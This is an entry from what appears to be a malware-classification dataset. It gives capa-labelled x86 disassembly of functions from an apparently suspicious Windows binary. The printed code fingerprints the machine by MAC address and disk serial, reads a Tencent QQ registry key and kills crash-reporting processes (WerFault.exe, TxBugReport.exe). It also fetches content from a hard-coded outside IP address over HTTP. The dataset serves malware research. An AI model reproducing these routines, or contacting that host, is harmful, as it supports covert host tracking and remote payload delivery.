joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406780
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
mov esi, ecx
xor ecx, ecx
nop
mov eax, ecx
shr eax, 1
test cl, 1
je 0x40679e
xor eax, 0xedb88320
test al, 1
je 0x4067ab
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067ad
shr eax, 1
test al, 1
je 0x4067ba
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067bc
shr eax, 1
test al, 1
je 0x4067c9
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067cb
shr eax, 1
test al, 1
je 0x4067d8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067da
shr eax, 1
test al, 1
je 0x4067e7
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067e9
shr eax, 1
test al, 1
je 0x4067f6
shr eax, 1
xor eax, 0xedb88320
jmp 0x4067f8
shr eax, 1
test al, 1
je 0x406805
shr eax, 1
xor eax, 0xedb88320
jmp 0x406807
shr eax, 1
mov dword [ebp + ecx*4 - 0x400], eax
inc ecx
cmp ecx, 0x100
jb 0x406790
or ecx, 0xffffffff
test edx, edx
je 0x40683c
movzx eax, byte [esi]
lea esi, [esi + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [ebp + eax*4 - 0x400]
sub edx, 1
jne 0x406822
not ecx
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406850
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push edi
push 0x288
mov dword [ebp - 8], 0x288
call esi
mov edi, eax
add esp, 4
test edi, edi
jne 0x406894
pop edi
mov eax, str.Null
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 8]
push eax
push edi
call ebx
cmp eax, 0x6f
jne 0x4068bc
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push dword [ebp - 8]
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x406910
lea eax, [ebp - 8]
push eax
push edi
call ebx
test eax, eax
jne 0x406902
mov esi, edi
test edi, edi
je 0x406910
nop dword [eax]
lea ebx, [esi + 0x10c]
push str.Intel
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x406926
push str.Realtek
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x406926
mov esi, dword [esi]
test esi, esi
jne 0x4068d0
test edi, edi
je 0x406910
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
pop ebx
pop edi
mov eax, str.Null
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x190]
lea ecx, [esi + 0x194]
call fcn.00406720
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x406bb0
Capabilities:
Get disk information
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1f4
mov eax, dword [0x494014]
xor eax, esp
mov dword [esp + 0x1f0], eax
push esi
push 0x80
lea eax, [esp + 0x174]
mov esi, ecx
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0x80
push 0x4985b8
push 0x48bdd0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
call fcn.00406850
push eax
push dword [esp + 8]
call fcn.00406950
push eax
lea eax, [esp + 0x7c]
push str._d_d_s
push eax
call fcn.00410800
add esp, 0x14
test esi, esi
jne 0x406cef
lea ecx, [esp + 0x70]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
lea edx, [ecx + 1]
mov dword [esp + 8], 0x67452301
mov dword [esp + 0xc], 0xefcdab89
mov dword [esp + 0x10], 0x98badcfe
mov dword [esp + 0x14], 0x10325476
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406c51
sub ecx, edx
lea edx, [esp + 0x70]
push ecx
lea ecx, [esp + 0xc]
call fcn.00404540
add esp, 4
lea edx, [esp + 0x18]
lea ecx, [esp + 0x60]
push 8
call fcn.00403de0
mov ecx, dword [esp + 0x1c]
add esp, 4
shr ecx, 3
mov eax, 0x38
and ecx, 0x3f
cmp ecx, 0x38
jb 0x406c96
mov eax, 0x78
sub eax, ecx
mov edx, 0x494458
push eax
lea ecx, [esp + 0xc]
call fcn.00404540
add esp, 4
lea edx, [esp + 0x60]
lea ecx, [esp + 8]
push 8
call fcn.00404540
add esp, 4
lea edx, [esp + 8]
lea ecx, [esp + 0x60]
push 0x10
call fcn.00403de0
add esp, 4
lea ecx, [esp + 0x60]
mov edx, 0x10
call fcn.00406720
pop esi
mov ecx, dword [esp + 0x1f0]
xor ecx, esp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
push 0x80
push 0
push 0x4985b8
call sub.VCRUNTIME140.dll_memset
lea edx, [esp + 0x7c]
add esp, 0xc
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x406d10
sub edx, ecx
lea ecx, [esp + 0x70]
call fcn.00406780
push eax
push 0x48bddc
push 0x4985b8
call fcn.00410820
mov ecx, dword [esp + 0x200]
add esp, 0xc
mov eax, 0x4985b8
pop esi
xor ecx, esp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x406e80
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x479238
mov eax, dword fs:[0]
push eax
sub esp, 0x410
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push edi
push edi
push edi
push edi
push str.UrlTest
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
je 0x406f7b
push edi
push 0x4000000
push edi
push edi
push str.http:__27.25.156.102:9999_style.html
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x406f74
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
nop dword [eax]
lea eax, [ebp - 0x418]
push eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push esi
call edi
cmp dword [ebp - 0x418], 0
jne 0x406ef0
lea ecx, [ebp - 0x414]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x41c]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__8]
mov byte [ebp - 4], 1
push dword [eax]
lea eax, [ebp - 0x414]
push 0x48b0d4
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
add esp, 0xc
lea ecx, [ebp - 0x41c]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x414]
mov edi, 1
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x406fa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00478380
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x1010]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwareTencentQQ
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407089
push 0x1000
push eax
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1008], 3
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x100c], 0x400
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1008]
push eax
push esi
push 0x48b918
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407089
mov eax, dword [ebp - 0x100c]
push eax
mov dword [ebx], eax
call dword [sym.imp.mfc140u.dll_operator]
push dword [ebp - 0x100c]
mov esi, eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x100c]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 0x2c
mov esi, 1
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x408c70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x479411
mov eax, dword fs:[0]
push eax
sub esp, 0x82c
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x82c], edx
mov ebx, ecx
mov esi, 0x496204
lea edi, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x408cb0
sub esi, edi
cmp esi, 5
jbe 0x408e88
mov dword [ebp - 0x814], 0xf
mov dword [ebp - 0x818], 0
mov byte [ebp - 0x828], al
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
mov dword [ebp - 0x830], esp
lea edi, [ebp - 0x828]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x408d0c
mov eax, dword [ecx]
jmp 0x408d0e
mov eax, ecx
push 0
push 0x48bc68
mov byte [eax], 0
call fcn.004037b0
sub esp, 0x18
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x834], esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x408d44
mov eax, dword [edx]
jmp 0x408d46
mov eax, edx
mov byte [eax], 0
cmp byte [ebx], 0
jne 0x408d52
xor ecx, ecx
jmp 0x408d60
mov ecx, ebx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408d57
sub ecx, esi
push ecx
push ebx
mov ecx, edx
call fcn.004037b0
sub esp, 0x18
mov byte [ebp - 4], 2
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x408d8a
mov eax, dword [edx]
jmp 0x408d8c
mov eax, edx
mov byte [eax], 0
cmp byte [0x496204], 0
jne 0x408d9c
xor ecx, ecx
jmp 0x408dad
mov ecx, 0x496204
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408da4
sub ecx, esi
push ecx
push 0x496204
mov ecx, edx
call fcn.004037b0
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.00412450
add esp, 0x48
cmp dword [ebp - 0x818], 0x3e8
jbe 0x408e70
mov ecx, dword [0x4958f8]
push 0x48c184
push 0xb
push dword [ebp - 0x82c]
call dword [sym.imp.mfc140u.dll_CListCtrl::SetItemText]
push 0x400
lea eax, [ebp - 0x410]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0x810]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x410]
push 0
push 0x10
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x810]
push 0x48c18c
push eax
call fcn.00403cb0
add esp, 0xc
lea ecx, [ebp - 0x810]
cmp dword [ebp - 0x814], 0x10
lea eax, [ebp - 0x828]
cmovae eax, dword [ebp - 0x828]
push ecx
push eax
push 0x48c1a0
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [ebp - 0x814]
cmp eax, 0x10
jb 0x408e88
inc eax
push eax
push dword [ebp - 0x828]
call fcn.004039c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x409b30
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x479519
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x228
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x23c]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x409bff
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
nop word [eax + eax]
push 0x48c364
lea ecx, [ebp - 0x14]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__10]
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpW]
test eax, eax
jne 0x409be1
inc esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea eax, [ebp - 0x240]
push eax
push edi
call ebx
test eax, eax
jne 0x409bb0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret

Function at 0x409c30
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x228
mov ebx, eax
lea eax, [ebp - 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x409d10
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrCmpW]
push 0x48c2a8
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x409cca
push str.TxBugReport.exe
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x409cca
push str.WerFault.exe
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
jne 0x409cfd
push dword [ebp - 0x228]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x409cf7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x409cfd
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x409c94
pop edi
push ebx
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x40b640
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x100
lea eax, [ebp - 0x304]
mov esi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x100
lea eax, [ebp - 0x204]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x44
lea eax, [ebp - 0x358]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x30
mov dword [ebp - 0x358], 0x44
lea eax, [ebp - 0x204]
xorps xmm0, xmm0
movups xmmword [ebp - 0x314], xmm0
push 0
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x104]
push str._sG_Game.exe
push eax
call fcn.00410800
push str.G_Gamee
lea eax, [ebp - 0x104]
push 0x86
push eax
call fcn.004053d0
push dword [esi]
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x304]
push 0x48c4a4
push eax
call fcn.00410800
add esp, 0x2c
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x304]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
Function at 0x40c930
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, esi
lea ecx, [edi + 2]
nop dword [eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40c950
sub edi, ecx
sar edi, 1
test esi, esi
jne 0x40c975
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
cmp edi, 0x104
jge 0x40c963
push 0x20a
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x210]
add esp, 0xc
sub ecx, esi
nop dword [eax + eax]
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x40c9a0
add edi, edi
cmp edi, 0x20a
jae 0x40ca75
xor eax, eax
mov word [ebp + edi - 0x210], ax
add edi, 2
cmp edi, 0x20a
jae 0x40ca75
mov dword [ebp - 0x218], eax
xorps xmm0, xmm0
mov word [ebp + edi - 0x210], ax
mov ecx, 0x414
movq qword [ebp - 0x220], xmm0
mov ax, word [ebp - 0x220]
or ax, cx
mov dword [ebp - 0x21a], 0
movups xmmword [ebp - 0x230], xmm0
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x228], ecx
mov ecx, 0xffbf
and ax, cx
mov dword [ebp - 0x216], 0
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x230]
push eax
mov dword [ebp - 0x22c], 3
mov dword [ebp - 0x224], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ecx, dword [ebp - 4]
neg eax
pop edi
sbb eax, eax
xor ecx, ebp
inc eax
pop esi
call fcn.0041caaf
mov esp, ebp
pop ebp
ret
call fcn.0041ce7f
int3
Function at 0x410f90
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
call fcn.00410d10
test eax, eax
je 0x410fc6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebx
mov ecx, edi
call fcn.00410d10
test eax, eax
jne 0x410fb7
push 4
push edi
push 0x700b
push 0xffff
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 0x98000004
push dword [esi + 0x1c]
mov dword [ebp - 0x18], 0x7530
mov dword [ebp - 0x14], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
lea ebx, [edi + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [edi + 4]
push 0
push 0
push 1
push dword [esi + 0x1c]
push edi
call dword [0x496490]
cmp byte [ebp + 8], 0
je 0x4110aa
mov eax, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
call eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
dec dword [edi + 4]
push ebx
call eax
push dword [edi + 4]
push 0
push 0
push 3
push dword [esi + 0x1c]
push edi
call dword [0x496490]
mov edi, dword [esi + 0x1c]
cmp edi, 0xffffffff
je 0x41116b
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 1
push eax
push 0x80
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x41116b
mov dword [esi + 0x18], 2
cmp dword [edi + 0x20], 0
je 0x4110ef
push dword [esi + 0x20]
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
mov dword [esi + 0x30], 0
push 4
call dword [sym.imp.mfc140u.dll_operator]
mov dword [esi + 0x20], eax
add esp, 4
add eax, dword [esi + 0x30]
mov dword [ebp - 0x20], eax
mov eax, 4
sub eax, dword [esi + 0x30]
mov dword [esi + 0x2c], 4
jmp 0x4110fa
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [0x494a58]
push 0
push esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0
push eax
push 1
lea eax, [ebp - 0x24]
mov dword [ebp - 8], 0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x411190
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x271e
je 0x411190
cmp eax, 0x3e5
je 0x411190
mov eax, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
call eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
dec dword [edi + 4]
push ebx
call eax
push dword [edi + 4]
push 0
push 0
push 3
push dword [esi + 0x1c]
push edi
call dword [0x496490]
mov ecx, dword [esi + 0x1c]
call fcn.00411bb0
push dword [esi + 0x20]
mov dword [esi + 0x1c], 0xffffffff
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
mov dword [esi + 0x20], 0
push 0x34
push esi
call fcn.0041cd4e
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041caaf
mov esp, ebp
pop ebp
ret 8
Function at 0x4113d0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
push edi
push dword [esi + 0x20]
mov edi, dword [esi + 0x1c]
call dword [sym.imp.mfc140u.dll_operator_1]
push 0x34
push esi
mov dword [esi + 0x20], 0
call fcn.0041cd4e
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x411450
cmp edi, 0xffffffff
je 0x41143f
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0x80
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebx + 4]
push 0
push 0
push 5
push edi
push ebx
call dword [0x496490]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041caaf
mov esp, ebp
pop ebp
ret 8
Function at 0x4116d0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push edi
push 0
push 0
mov edi, ecx
push 0x7010
push 0xffff
push dword [edi]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
push 0
push 1
push dword [edi]
push edi
call dword [0x496488]
cmp byte [ebp + 8], 0
je 0x411711
push dword [ebp + 0xc]
push ecx
mov ecx, edi
call fcn.00411960
pop edi
pop ebp
ret 8
push esi
mov esi, dword [ebp + 0xc]
push dword [esi + 0x1c]
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
cmp dword [edi + 4], 0
je 0x411738
push 4
call dword [sym.imp.mfc140u.dll_operator]
mov dword [esi + 0x28], 4
jmp 0x41174a
push 0xffff
call dword [sym.imp.mfc140u.dll_operator]
mov dword [esi + 0x28], 0xffff
add esp, 4
mov dword [esi + 0x1c], eax
mov ecx, edi
mov dword [esi + 0x18], 2
mov dword [esi + 0x2c], 0
push esi
call fcn.004118c0
cmp eax, 1
jne 0x411774
push esi
push ecx
mov ecx, edi
call fcn.00411960
pop esi
pop edi
pop ebp
ret 8

Function at 0x4118c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp + 8]
push 0
push esi
mov dword [ebp - 0xc], 0
mov eax, dword [esi + 0x1c]
add eax, dword [esi + 0x2c]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x28]
sub eax, dword [esi + 0x2c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [esi + 0x24]
mov dword [esi + 0x14], ecx
push eax
push 1
lea eax, [ebp - 0x14]
mov dword [esi + 0x18], 2
push eax
push dword [ecx]
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x41193e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x271e
je 0x41193e
cmp eax, 0x3e5
je 0x41193e
mov eax, 1
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041caaf
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0041caaf
mov esp, ebp
pop ebp
ret 4

Function at 0x411960
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x494014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
push dword [esi + 0x1c]
call dword [sym.imp.mfc140u.dll_operator_1]
push 0x30
push esi
mov dword [esi + 0x1c], 0
call fcn.0041cd4e
add esp, 0xc
push 0
push 0
push 3
push dword [edi]
push edi
call dword [0x496488]
mov esi, dword [edi]
cmp esi, 0xffffffff
je 0x4119d6
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov dword [edi], 0xffffffff
xor ecx, ebp
pop edi
pop esi
call fcn.0041caaf
mov esp, ebp
pop ebp
ret 8